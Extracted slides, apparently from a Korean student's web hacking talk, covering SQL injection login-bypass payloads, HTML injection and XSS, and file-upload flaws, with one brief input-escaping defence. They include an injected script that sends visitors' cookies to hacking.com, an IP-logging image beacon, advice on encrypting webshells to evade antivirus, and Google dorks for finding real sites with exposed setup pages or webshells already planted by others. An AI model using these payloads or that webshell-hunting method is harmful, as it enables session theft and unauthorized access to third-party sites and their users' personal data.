WEB Hacking 한국디지털미디어고등학교, T eampur e, JT JSOFT 장태 진
해킹의 종류 웹해킹 네트워크 해킹 시스템(OS)해킹
웹해킹 기법 SQL INJECTION HTML INJECTION Cross Site Scripting HEADER INJECTION
웹해킹 기법 업로드 취약점 다운로드 취약점
INJECTION 나는 사람입니다. 나는 잘생긴 사람입니 다.
INJECTION
INJECTION
INJECTION
SQL INJECTION
데이터베이스 데이터의 집합 테이블 필드
1학년 3반 6반 9반 양식( 번호, 이름, 사진
Select 문법 : Select 필드명 또는 별(*) fr om 테이블명 wher e 조건 예문 : Select user _id fr om accounts wher e user _name='장태진'; <? $connect = mysql_connect( localhost, r oot, r ootpasswor d ); mysql_select_db( dimigo ); $sql = Select user _id fr om accounts wher e user _name=\ 장태진\ ; $r esult = mysql_quer y($sql, $connect); $r ow = mysql_fetch_ar r ay($r esult); ECHO $r ow[user _id];?> test
SQL INJECTION <? $connect = mysql_connect( localhost, r oot, r ootpasswor d ); mysql_select_db( dimigo ); $id $pw = $_GET ['id']; = $_GET ['pw']; $sql = Select jumin fr om accounts wher e id='$id' and pw='$pw'; ; $r esult = mysql_quer y($sql, $connect); $r ow = mysql_fetch_ar r ay($r esult); ECHO $r ow[jumin];?> ID PW = testid = testpw http://example.co.kr/test.php?id=testid&pw=testpw 출력 : 980414-1******
SQL INJECTION <? $connect = mysql_connect( localhost, r oot, r ootpasswor d ); mysql_select_db( dimigo ); $id $pw = $_GET ['id']; = $_GET ['pw']; $sql = Select jumin fr om accounts wher e id='$id' and pw='$pw'; ; $r esult = mysql_quer y($sql, $connect); $r ow = mysql_fetch_ar r ay($r esult); ECHO $r ow[jumin];?> ID = admin PW = admin http://example.co.kr/test.php?id=admin&pw=admin 출력 : [출력값 없음]
SQL INJECTION <? $connect = mysql_connect( localhost, r oot, r ootpasswor d ); mysql_select_db( dimigo ); $id $pw = $_GET ['id']; = $_GET ['pw']; $sql = Select jumin fr om accounts wher e id='$id' and pw='$pw'; ; $r esult = mysql_quer y($sql, $connect); $r ow = mysql_fetch_ar r ay($r esult); ECHO $r ow[jumin];?> ID = admin' -PW = 아무거나
SQL INJECTION Select jumin from accounts where id='$id' and pw='$pw'; Select jumin from accounts where id='admin' -- ' and pw = 'admin'; Select jumin from accounts where id='admin' -- ' and pw = 'admin'; Select jumin from accounts where id='admin';
SQL INJECTION 기본 패턴 주민번호 출력 SQL 질의문 Select jumin from accounts where id='$id' and pw='$pw'; $id값 ' or 1 = 1 - 아이디' - ' or '1' = '1 1' or '1' like '1' -
SQL Injection 공격 패턴의 특징 1. 뛰어쓰기가 들어간다. 2. 특수문자 따옴표 ' 가 들어간다.
따옴표, 뛰어쓰기 막기 $user _id = admin' or 1=1 -- ; // 공격우회패턴 $sql = Select jumin fr om accounts wher e user _id='$user _id'; ; $r esult = mysql_quer y($sql, $connect); $r ow = mysql_fetch_ar r ay($r esult); ECHO $r ow[jumin];
따옴표, 뛰어쓰기 막기 $user _id = admin' or 1=1 -- ; // 공격우회패턴 $user _id = str _r eplace( ', & #.or d( ' ). ;, $user _id); $user _id = str _r eplace(, & nbsp;, $user _id); /* admin& #39;& #nbsp;or & #nbsp;1=1& #nbsp;-- */ $sql = Select jumin fr om accounts wher e user _id='$user _id'; ; $r esult = mysql_quer y($sql, $connect); $r ow = mysql_fetch_ar r ay($r esult); ECHO $r ow[jumin];
방금 전 소스로도 불안하다면? function r eplace_ascii($str ) { $tex t=$str ; $tex t2=""; for($i=0;$i<strlen($tex t);$i+ + ) { if(33<=or d($tex t[$i])& & ord($tex t[$i])<=47) $tex t2.="& #".ord($tex t[$i]).";"; else if(58<=ord($tex t[$i])& & ord($tex t[$i])<=64) $tex t2.="& #".ord($tex t[$i]).";"; else if(91<=ord($tex t[$i])& & ord($tex t[$i])<=96) $tex t2.="& #".ord($tex t[$i]).";"; else if(123<=or d($tex t[$i])& & ord($tex t[$i])<=126) $tex t2.="& #".or d($tex t[$i]).";"; else $tex t2.=$tex t[$i]; } $str=$tex t2; $str=str _r eplace(" ","& nbsp;",$str ); retur n $str ; } A-Z, a-z, 0-9를 제외하고 아스키코드가 33이상, 126이하인 모든 문자 아스키코드로!
HT ML Injection Cross Site Scripting CSS XSS
HT ML INJECT ION <html> <head></head> <body> <div>나는 사람입니다.</div> </body> </html>
HT ML INJECT ION <html> <head></head> <body> <div>나는 잘생긴사람입니다.</div> </body> </html>
HT ML INJECT ION <scr ipt> var aaa = <?=$_GET ['q'];? > ; aler t(aaa); </scr ipt>
HT ML INJECT ION <scr ipt> var aaa = ; location.hr ef = http://www.jtjsoft.com ; aler t(aaa); </scr ipt>
HT ML INJECT ION
HT ML INJECT ION 쿠키/세션 탈취 페이지 이동 알림창
HT ML INJECT ION JS에 도움 페이지 변조 훼이크
HT ML INJECT ION JS에서 하지 못하는 부 분 정보 저장 훼이크
HT ML INJECT ION - JS document.cookie Session 아이디 아이디 패스워드 주민번호 이름 집 주소
HT ML INJECT ION - JS location.hr ef = URL이동 - 개인정보공개 URL - 로그아웃 URL - 블로그 폐쇠 URL - 피싱사이트 (복제사이트)URL - 카페탈퇴 URL - 게시물 추천버튼 URL
HT ML INJECT ION - JS aler t( 메세지 ); 피싱사이트로 이동할때 도움 사용자를 불안하게 함
HT ML INJECT ION - HT ML Javascr ipt 에 도움 <<Javascript 필터링 우 회>> - <pre></pre> <textarea></textarea> - <input value= >
HT ML INJECT ION - HT ML 사이트 변조 < 사례 > - 네이트온 http://<script> - 웹하드 금칙어 우회
HT ML INJECT ION - HT ML 훼이크 - 정보숨기기 - 가짜 정보 보여주기 - 가짜 입력창 만들기
HT ML INJECT ION - PHP Javascr ipt 가 못하는 일 < 사례 > - IMG Header, 정보저장
HT ML INJECT ION - PHP 서버에 정보 저장
XSS 활용 - 1 <div> <pr e> 게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용게시물 내용 게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용게 시물내용 게시물내용게시물내용게시물내용게시물내용게시물내용게시물내 용게시물내용 게시물내용게시물내용게시물내용게시물내용게시물내용게시 물내용게시물내용 게시물내용게시물내용게시물내용게시물내용게시물내용 게시물내용게시물내용 게시물내용게시물내용게시물내용게시물내용게시물 내용게시물내용게시물내용 게시물내용게시물내용게시물내용게시물내용게 시물내용게시물내용게시물내용 게시물내용게시물내용게시물내용게시물내 용게시물내용게시물내용게시물내용 게시물내용게시물내용게시물내용게시 물내용게시물내용게시물내용게시물내용 게시물내용게시물내용게시물내용 게시물내용게시물내용게시물내용게시물내용 게시물내용게시물내용게시물 내용게시물내용게시물내용게시물내용게시물내용 게시물내용게시물내용게 시물내용게시물내용게시물내용게시물내용게시물내용 게시물내용게시물내 용게시물내용게시물내용게시물내용게시물내용게시물내용 게시물내용게시 물내용게시물내용게시물내용게시물내용게시물내용게시물내용 게시물내용 게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용 게시물 내용게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용 게 시물내용게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용 </pr e> </div>
XSS 활용 - 1 <div> <pr e> </pr e> <scr ipt> V ar cookie = document.cookie; location.hr ef=( http://hacking.com/save.php?cookie= + </scr ipt> <pr e> </pr e> </div> cookie);
XSS 활용 - 1 사용자 사용자 사용자 사용자 호 이름 아이디 아이피 주민번
XSS 활용 - 1 User Hacker
XSS활용 -2 PHP http://hacking.kr /ipget.php <? // e.f. 127.0.0.1 $ip = $_SERV ER['REMOT E_ADDR']; $f = fopen(./ipip.tx t, a ); // ipip.tx t 생성/글 쓰기 fwr ite($f, $ip. \n ); // e.f. 127.0.0.1\n fclose($f); // 파일 닫기?>
XSS활용 -2 HTML <div> <pr e> </pr e> <img sr c= http://hacking.kr /ipget.php /> <pr e> </pr e> </div>
XSS활용 -2
XSS활용 -2 Ipip.tx t 127.0.12.1 127.123.2.1 127.0.220.12 127.23.50.11 127.103.0.14 127.0.60.15 127.20.0.134 127.10.50.177 127.1.0.12 127.0.40.133 127.110.0.13 127.0.30.112 127.140.0.19 127.0.2.187 127.0.120.10 127.120.230.144 127.0.10.132 127.20.20.13
XSS활용 -3 PHP http://hacking.kr /ipget.php <? Header ( Content-T ype: image/png ); $ip = $_SERV ER['REMOT E_ADDR']; $f = fopen(./ipip.tx t, a ); // ipip.tx t 생성/글 쓰기 fwr ite($f, $ip. \n ); // e.f. 127.0.0.1\n fclose($f); // 파일 닫기 $f = fopen(./a.png, r ); // a.png 생성/글쓰기 ECHO fr ead($f, filesize(./a.png )); // 이미지 fclose($f); // 파일 닫기
XSS활용 -3 Ipip.tx t 127.0.12.1 127.123.2.1 127.0.220.12 127.23.50.11 127.103.0.14 127.0.60.15 127.20.0.134 127.10.50.177 127.1.0.12 127.0.40.133 127.110.0.13 127.0.30.112 127.140.0.19 127.0.2.187 127.0.120.10 127.120.230.144 127.0.10.132 127.20.20.13
IP만 가져와서 뭐하냐고? 좋은예 : 자신의 블로그/카페의 방문자 확인 나쁜예 : 특정한 사람을 도발하는 글을 쓴 후 타겟들이 게시물을 보았을 때 아이피를 저장 D-DoS 포트스캔 후 취약한 포트들 분석 웹해킹 시스템해킹
업로드 취약점
웹쉘
웹쉘
r57 shell
C99 shell
AJAX Webshell
Wso 0
ITSEC
PHPSpy
PHPshell
평문소스 바이러스로 탐지하여 백신에서 삭제시킴
암호화된 소스 백신/웹쉘탐지 우회
올릴 수 있는 곳 이미지 업로드 부분 파일 업로드 부분 SQL INJECT ION 부 분
구글링으로 얻어먹기
./scr ipts/setup.php
Google Sear ch site:*/scr ipts/setup.php
12 10 8 1 열 6 2 열 3 열 4 2 0 1 행 2 행 3 행 4 행
망할! 구글링하여 나온 50개의 사이트 모두 안되요!
기냥 업로드된 웹쉘을 찾자! site:*/*/c99.php site:*/*/webshell.php site:*/*/r 57shell.php
이것들을 이용하여 할 수 있는 일
끝날시간ㅜ
죄송합니다. 고마워요!
선물을 하나 준비했어요.
저를 깔 수 있는 시간입니다.
QNA